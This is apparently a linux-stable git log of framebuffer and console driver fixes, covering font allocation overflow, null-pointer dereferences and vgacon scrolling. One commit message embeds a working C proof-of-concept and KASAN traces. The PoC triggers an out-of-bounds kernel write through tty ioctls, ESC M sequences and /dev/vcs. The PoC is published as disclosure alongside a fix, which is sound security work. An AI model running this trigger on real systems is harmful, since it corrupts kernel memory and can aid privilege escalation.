linux-stable.git/drivers/video, branch v5.4.301

fbcon: Fix OOB access in font allocation

2025-10-02T11:34:34+00:00

commit 9b2f5ef00e852f8e8902a4d4f73aeedc60220c12 upstream.

Commit 1a194e6c8e1e ("fbcon: fix integer overflow in fbcon_do_set_font")
introduced an out-of-bounds access by storing data and allocation sizes
in the same variable. Restore the old size calculation and use the new
variable 'alloc_size' for the allocation.

Signed-off-by: Thomas Zimmermann 
Fixes: 1a194e6c8e1e ("fbcon: fix integer overflow in fbcon_do_set_font")
Reported-by: Jani Nikula 
Closes: https://gitlab.freedesktop.org/drm/i915/kernel/-/issues/15020
Closes: https://gitlab.freedesktop.org/drm/xe/kernel/-/issues/6201
Cc: Samasth Norway Ananda 
Cc: Thomas Zimmermann 
Cc: George Kennedy 
Cc: Greg Kroah-Hartman 
Cc: Simona Vetter 
Cc: Helge Deller 
Cc: "Ville Syrjälä" 
Cc: Sam Ravnborg 
Cc: Qianqiang Liu 
Cc: Shixiong Ou 
Cc: Kees Cook 
Cc:  # v5.9+
Cc: Zsolt Kajtar 
Reviewed-by: Lucas De Marchi 
Reviewed-by: Qianqiang Liu 
Link: https://lore.kernel.org/r/20250922134619.257684-1-tzimmermann@suse.de
Signed-off-by: Greg Kroah-Hartman

fbcon: fix integer overflow in fbcon_do_set_font

2025-10-02T11:34:34+00:00

commit 1a194e6c8e1ee745e914b0b7f50fa86c89ed13fe upstream.

Fix integer overflow vulnerabilities in fbcon_do_set_font() where font
size calculations could overflow when handling user-controlled font
parameters.

The vulnerabilities occur when:
1. CALC_FONTSZ(h, pitch, charcount) performs h * pith * charcount
   multiplication with user-controlled values that can overflow.
2. FONT_EXTRA_WORDS * sizeof(int) + size addition can also overflow
3. This results in smaller allocations than expected, leading to buffer
   overflows during font data copying.

Add explicit overflow checking using check_mul_overflow() and
check_add_overflow() kernel helpers to safety validate all size
calculations before allocation.

Signed-off-by: Samasth Norway Ananda 
Reviewed-by: Thomas Zimmermann 
Fixes: 39b3cffb8cf3 ("fbcon: prevent user font height or width change from causing potential out-of-bounds access")
Cc: George Kennedy 
Cc: stable 
Cc: syzbot+38a3699c7eaf165b97a6@syzkaller.appspotmail.com
Cc: Greg Kroah-Hartman 
Cc: Simona Vetter 
Cc: Helge Deller 
Cc: Thomas Zimmermann 
Cc: "Ville Syrjälä" 
Cc: Sam Ravnborg 
Cc: Qianqiang Liu 
Cc: Shixiong Ou 
Cc: Kees Cook 
Cc:  # v5.9+
Signed-off-by: Thomas Zimmermann 
Link: https://lore.kernel.org/r/20250912170023.3931881-1-samasth.norway.ananda@oracle.com
Signed-off-by: Greg Kroah-Hartman

Revert "vgacon: Add check for vc_origin address range in vgacon_scroll()"

2025-08-28T14:21:31+00:00

commit e4fc307d8e24f122402907ebf585248cad52841d upstream.

This reverts commit 864f9963ec6b4b76d104d595ba28110b87158003.

The patch is wrong as it checks vc_origin against vc_screenbuf,
while in text mode it should compare against vga_vram_base.

As such it broke VGA text scrolling, which can be reproduced like this:
(1) boot a kernel that is configured to use text mode VGA-console
(2) type commands:  ls -l /usr/bin | less -S
(3) scroll up/down with cursor-down/up keys

Reported-by: Jari Ruusu 
Cc: stable@vger.kernel.org
Cc: Yi Yang 
Cc: GONG Ruiqi 
Signed-off-by: Helge Deller 
Signed-off-by: Greg Kroah-Hartman

fbdev: imxfb: Check fb_add_videomode to prevent null-ptr-deref

2025-08-28T14:21:21+00:00

[ Upstream commit da11e6a30e0bb8e911288bdc443b3dc8f6a7cac7 ]

fb_add_videomode() can fail with -ENOMEM when its internal kmalloc() cannot
allocate a struct fb_modelist.  If that happens, the modelist stays empty but
the driver continues to register.  Add a check for its return value to prevent
poteintial null-ptr-deref, which is similar to the commit 17186f1f90d3 ("fbdev:
Fix do_register_framebuffer to prevent null-ptr-deref in fb_videomode_to_var").

Fixes: 1b6c79361ba5 ("video: imxfb: Add DT support")
Signed-off-by: Chenyuan Yang 
Signed-off-by: Helge Deller 
Signed-off-by: Sasha Levin

vgacon: Add check for vc_origin address range in vgacon_scroll()

2025-06-27T10:02:51+00:00

commit 864f9963ec6b4b76d104d595ba28110b87158003 upstream.

Our in-house Syzkaller reported the following BUG (twice), which we
believed was the same issue with [1]:

==================================================================
BUG: KASAN: slab-out-of-bounds in vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740
Read of size 2 at addr ffff88800f5bef60 by task syz.7.2620/12393
...
Call Trace:
 
 __dump_stack lib/dump_stack.c:88 [inline]
 dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106
 print_address_description.constprop.0+0x6b/0x3d0 mm/kasan/report.c:364
 print_report+0xba/0x280 mm/kasan/report.c:475
 kasan_report+0xa9/0xe0 mm/kasan/report.c:588
 vcs_scr_readw+0xc2/0xd0 drivers/tty/vt/vt.c:4740
 vcs_write_buf_noattr drivers/tty/vt/vc_screen.c:493 [inline]
 vcs_write+0x586/0x840 drivers/tty/vt/vc_screen.c:690
 vfs_write+0x219/0x960 fs/read_write.c:584
 ksys_write+0x12e/0x260 fs/read_write.c:639
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
 entry_SYSCALL_64_after_hwframe+0x78/0xe2
 ...
 

Allocated by task 5614:
 kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
 kasan_set_track+0x25/0x30 mm/kasan/common.c:52
 ____kasan_kmalloc mm/kasan/common.c:374 [inline]
 __kasan_kmalloc+0x8f/0xa0 mm/kasan/common.c:383
 kasan_kmalloc include/linux/kasan.h:201 [inline]
 __do_kmalloc_node mm/slab_common.c:1007 [inline]
 __kmalloc+0x62/0x140 mm/slab_common.c:1020
 kmalloc include/linux/slab.h:604 [inline]
 kzalloc include/linux/slab.h:721 [inline]
 vc_do_resize+0x235/0xf40 drivers/tty/vt/vt.c:1193
 vgacon_adjust_height+0x2d4/0x350 drivers/video/console/vgacon.c:1007
 vgacon_font_set+0x1f7/0x240 drivers/video/console/vgacon.c:1031
 con_font_set drivers/tty/vt/vt.c:4628 [inline]
 con_font_op+0x4da/0xa20 drivers/tty/vt/vt.c:4675
 vt_k_ioctl+0xa10/0xb30 drivers/tty/vt/vt_ioctl.c:474
 vt_ioctl+0x14c/0x1870 drivers/tty/vt/vt_ioctl.c:752
 tty_ioctl+0x655/0x1510 drivers/tty/tty_io.c:2779
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:871 [inline]
 __se_sys_ioctl+0x12d/0x190 fs/ioctl.c:857
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
 entry_SYSCALL_64_after_hwframe+0x78/0xe2

Last potentially related work creation:
 kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
 __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492
 __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713
 netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802
 __sock_release+0xb5/0x270 net/socket.c:663
 sock_close+0x1e/0x30 net/socket.c:1425
 __fput+0x408/0xab0 fs/file_table.c:384
 __fput_sync+0x4c/0x60 fs/file_table.c:465
 __do_sys_close fs/open.c:1580 [inline]
 __se_sys_close+0x68/0xd0 fs/open.c:1565
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_64+0x59/0x110 arch/x86/entry/common.c:81
 entry_SYSCALL_64_after_hwframe+0x78/0xe2

Second to last potentially related work creation:
 kasan_save_stack+0x20/0x40 mm/kasan/common.c:45
 __kasan_record_aux_stack+0x94/0xa0 mm/kasan/generic.c:492
 __call_rcu_common.constprop.0+0xc3/0xa10 kernel/rcu/tree.c:2713
 netlink_release+0x620/0xc20 net/netlink/af_netlink.c:802
 __sock_release+0xb5/0x270 net/socket.c:663
 sock_close+0x1e/0x30 net/socket.c:1425
 __fput+0x408/0xab0 fs/file_table.c:384
 task_work_run+0x154/0x240 kernel/task_work.c:239
 exit_task_work include/linux/task_work.h:45 [inline]
 do_exit+0x8e5/0x1320 kernel/exit.c:874
 do_group_exit+0xcd/0x280 kernel/exit.c:1023
 get_signal+0x1675/0x1850 kernel/signal.c:2905
 arch_do_signal_or_restart+0x80/0x3b0 arch/x86/kernel/signal.c:310
 exit_to_user_mode_loop kernel/entry/common.c:111 [inline]
 exit_to_user_mode_prepare include/linux/entry-common.h:328 [inline]
 __syscall_exit_to_user_mode_work kernel/entry/common.c:207 [inline]
 syscall_exit_to_user_mode+0x1b3/0x1e0 kernel/entry/common.c:218
 do_syscall_64+0x66/0x110 arch/x86/entry/common.c:87
 entry_SYSCALL_64_after_hwframe+0x78/0xe2

The buggy address belongs to the object at ffff88800f5be000
 which belongs to the cache kmalloc-2k of size 2048
The buggy address is located 2656 bytes to the right of
 allocated 1280-byte region [ffff88800f5be000, ffff88800f5be500)

...

Memory state around the buggy address:
 ffff88800f5bee00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff88800f5bee80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff88800f5bef00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                                                       ^
 ffff88800f5bef80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff88800f5bf000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
==================================================================

By analyzing the vmcore, we found that vc->vc_origin was somehow placed
one line prior to vc->vc_screenbuf when vc was in KD_TEXT mode, and
further writings to /dev/vcs caused out-of-bounds reads (and writes
right after) in vcs_write_buf_noattr().

Our further experiments show that in most cases, vc->vc_origin equals to
vga_vram_base when the console is in KD_TEXT mode, and it's around
vc->vc_screenbuf for the KD_GRAPHICS mode. But via triggerring a
TIOCL_SETVESABLANK ioctl beforehand, we can make vc->vc_origin be around
vc->vc_screenbuf while the console is in KD_TEXT mode, and then by
writing the special 'ESC M' control sequence to the tty certain times
(depends on the value of `vc->state.y - vc->vc_top`), we can eventually
move vc->vc_origin prior to vc->vc_screenbuf. Here's the PoC, tested on
QEMU:

```
int main() {
	const int RI_NUM = 10; // should be greater than `vc->state.y - vc->vc_top`
	int tty_fd, vcs_fd;
	const char *tty_path = "/dev/tty0";
	const char *vcs_path = "/dev/vcs";
	const char escape_seq[] = "\x1bM";  // ESC + M
	const char trigger_seq[] = "Let's trigger an OOB write.";
	struct vt_sizes vt_size = { 70, 2 };
	int blank = TIOCL_BLANKSCREEN;

	tty_fd = open(tty_path, O_RDWR);

	char vesa_mode[] = { TIOCL_SETVESABLANK, 1 };
	ioctl(tty_fd, TIOCLINUX, vesa_mode);

	ioctl(tty_fd, TIOCLINUX, &blank);
	ioctl(tty_fd, VT_RESIZE, &vt_size);

	for (int i = 0; i < RI_NUM; ++i)
		write(tty_fd, escape_seq, sizeof(escape_seq) - 1);

	vcs_fd = open(vcs_path, O_RDWR);
	write(vcs_fd, trigger_seq, sizeof(trigger_seq));

	close(vcs_fd);
	close(tty_fd);
	return 0;
}
```

To solve this problem, add an address range validation check in
vgacon_scroll(), ensuring vc->vc_origin never precedes vc_screenbuf.

Reported-by: syzbot+9c09fda97a1a65ea859b@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=9c09fda97a1a65ea859b [1]
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Co-developed-by: Yi Yang 
Signed-off-by: Yi Yang 
Signed-off-by: GONG Ruiqi 
Signed-off-by: Helge Deller 
Signed-off-by: Greg Kroah-Hartman

fbdev: Fix fb_set_var to prevent null-ptr-deref in fb_videomode_to_var

2025-06-27T10:02:51+00:00

commit 05f6e183879d9785a3cdf2f08a498bc31b7a20aa upstream.

If fb_add_videomode() in fb_set_var() fails to allocate memory for
fb_videomode, later it may lead to a null-ptr dereference in
fb_videomode_to_var(), as the fb_info is registered while not having the
mode in modelist that is expected to be there, i.e. the one that is
described in fb_info->var.

================================================================
general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] PREEMPT SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]
CPU: 1 PID: 30371 Comm: syz-executor.1 Not tainted 5.10.226-syzkaller #0
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
RIP: 0010:fb_videomode_to_var+0x24/0x610 drivers/video/fbdev/core/modedb.c:901
Call Trace:
 display_to_var+0x3a/0x7c0 drivers/video/fbdev/core/fbcon.c:929
 fbcon_resize+0x3e2/0x8f0 drivers/video/fbdev/core/fbcon.c:2071
 resize_screen drivers/tty/vt/vt.c:1176 [inline]
 vc_do_resize+0x53a/0x1170 drivers/tty/vt/vt.c:1263
 fbcon_modechanged+0x3ac/0x6e0 drivers/video/fbdev/core/fbcon.c:2720
 fbcon_update_vcs+0x43/0x60 drivers/video/fbdev/core/fbcon.c:2776
 do_fb_ioctl+0x6d2/0x740 drivers/video/fbdev/core/fbmem.c:1128
 fb_ioctl+0xe7/0x150 drivers/video/fbdev/core/fbmem.c:1203
 vfs_ioctl fs/ioctl.c:48 [inline]
 __do_sys_ioctl fs/ioctl.c:753 [inline]
 __se_sys_ioctl fs/ioctl.c:739 [inline]
 __x64_sys_ioctl+0x19a/0x210 fs/ioctl.c:739
 do_syscall_64+0x33/0x40 arch/x86/entry/common.c:46
 entry_SYSCALL_64_after_hwframe+0x67/0xd1
================================================================

The reason is that fb_info->var is being modified in fb_set_var(), and
then fb_videomode_to_var() is called. If it fails to add the mode to
fb_info->modelist, fb_set_var() returns error, but does not restore the
old value of fb_info->var. Restore fb_info->var on failure the same way
it is done earlier in the function.

Found by Linux Verification Center (linuxtesting.org) with Syzkaller.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Signed-off-by: Murad Masimov 
Signed-off-by: Helge Deller 
Signed-off-by: Greg Kroah-Hartman

fbdev: core: fbcvt: avoid division by 0 in fb_cvt_hperiod()

2025-06-27T10:02:48+00:00

[ Upstream commit 3f6dae09fc8c306eb70fdfef70726e1f154e173a ]

In fb_find_mode_cvt(), iff mode->refresh somehow happens to be 0x80000000,
cvt.f_refresh will become 0 when multiplying it by 2 due to overflow. It's
then passed to fb_cvt_hperiod(), where it's used as a divider -- division
by 0 will result in kernel oops. Add a sanity check for cvt.f_refresh to
avoid such overflow...

Found by Linux Verification Center (linuxtesting.org) with the Svace static
analysis tool.

Fixes: 96fe6a2109db ("[PATCH] fbdev: Add VESA Coordinated Video Timings (CVT) support")
Signed-off-by: Sergey Shtylyov 
Signed-off-by: Helge Deller 
Signed-off-by: Sasha Levin

fbdev: core: tileblit: Implement missing margin clearing for tileblit

2025-06-04T12:32:30+00:00

[ Upstream commit 76d3ca89981354e1f85a3e0ad9ac4217d351cc72 ]

I was wondering why there's garbage at the bottom of the screen when
tile blitting is used with an odd mode like 1080, 600 or 200. Sure there's
only space for half a tile but the same area is clean when the buffer
is bitmap.

Then later I found that it's supposed to be cleaned but that's not
implemented. So I took what's in bitblit and adapted it for tileblit.

This implementation was tested for both the horizontal and vertical case,
and now does the same as what's done for bitmap buffers.

If anyone is interested to reproduce the problem then I could bet that'd
be on a S3 or Ark. Just set up a mode with an odd line count and make
sure that the virtual size covers the complete tile at the bottom. E.g.
for 600 lines that's 608 virtual lines for a 16 tall tile. Then the
bottom area should be cleaned.

For the right side it's more difficult as there the drivers won't let an
odd size happen, unless the code is modified. But once it reports back a
few pixel columns short then fbcon won't use the last column. With the
patch that column is now clean.

Btw. the virtual size should be rounded up by the driver for both axes
(not only the horizontal) so that it's dividable by the tile size.
That's a driver bug but correcting it is not in scope for this patch.

Implement missing margin clearing for tileblit

Signed-off-by: Zsolt Kajtar 
Signed-off-by: Helge Deller 
Signed-off-by: Sasha Levin

fbdev: fsl-diu-fb: add missing device_remove_file()

2025-06-04T12:32:30+00:00

[ Upstream commit 86d16cd12efa547ed43d16ba7a782c1251c80ea8 ]

Call device_remove_file() when driver remove.

Signed-off-by: Shixiong Ou 
Signed-off-by: Helge Deller 
Signed-off-by: Sasha Levin

fbdev: omapfb: Add 'plane' value check

2025-05-02T05:39:12+00:00

[ Upstream commit 3e411827f31db7f938a30a3c7a7599839401ec30 ]

Function dispc_ovl_setup is not intended to work with the value OMAP_DSS_WB
of the enum parameter plane.

The value of this parameter is initialized in dss_init_overlays and in the
current state of the code it cannot take this value so it's not a real
problem.

For the purposes of defensive coding it wouldn't be superfluous to check
the parameter value, because some functions down the call stack process
this value correctly and some not.

For example, in dispc_ovl_setup_global_alpha it may lead to buffer
overflow.

Add check for this value.

Found by Linux Verification Center (linuxtesting.org) with SVACE static
analysis tool.

Signed-off-by: Leonid Arapov 
Signed-off-by: Helge Deller 
Signed-off-by: Sasha Levin